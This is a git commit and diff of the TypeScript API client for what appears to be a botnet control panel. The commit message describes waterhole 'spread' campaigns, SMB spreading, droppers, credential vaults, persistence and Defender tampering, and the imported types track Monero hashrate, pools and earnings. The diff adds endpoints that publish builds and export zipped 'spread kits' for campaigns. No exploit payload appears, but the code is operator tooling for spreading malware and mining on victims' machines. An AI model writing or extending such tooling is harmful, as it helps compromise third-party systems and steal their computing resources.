feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -1,4 +1,4 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
import { authHeaders, clearStoredAuth } from './auth';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
@@ -186,6 +186,11 @@ export const api = {
fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
deleteBuild: (buildId: string) =>
fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),
setBuildPublic: (buildId: string, isPublic: boolean) =>
fetchJSON<{ ok: boolean; id: string; public: boolean }>(`/builds/${buildId}/public`, {
method: 'PUT',
body: JSON.stringify({ public: isPublic }),
}),
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
buildArtifactUrl: (buildId: string, fileName: string) =>
@@ -297,6 +302,40 @@ export const api = {
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
// Public builds (unauthenticated — used on login page)
listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
const res = await fetch(`${API_BASE}/public/builds`);
if (!res.ok) throw new Error(`Public builds ${res.status}`);
return res.json();
},
// Emberwake
getEmberwakeNotes: () => fetchJSON<EmberwakeNotes>('/emberwake/notes'),
putEmberwakeNotes: (content: string) =>
fetchJSON<EmberwakeNotes>('/emberwake/notes', {
method: 'PUT',
body: JSON.stringify({ content }),
}),
listCampaignHits: () =>
fetchJSON<{ campaigns: CampaignHitSummary[] }>('/emberwake/campaigns'),
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip';
a.click();
URL.revokeObjectURL(url);
},
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {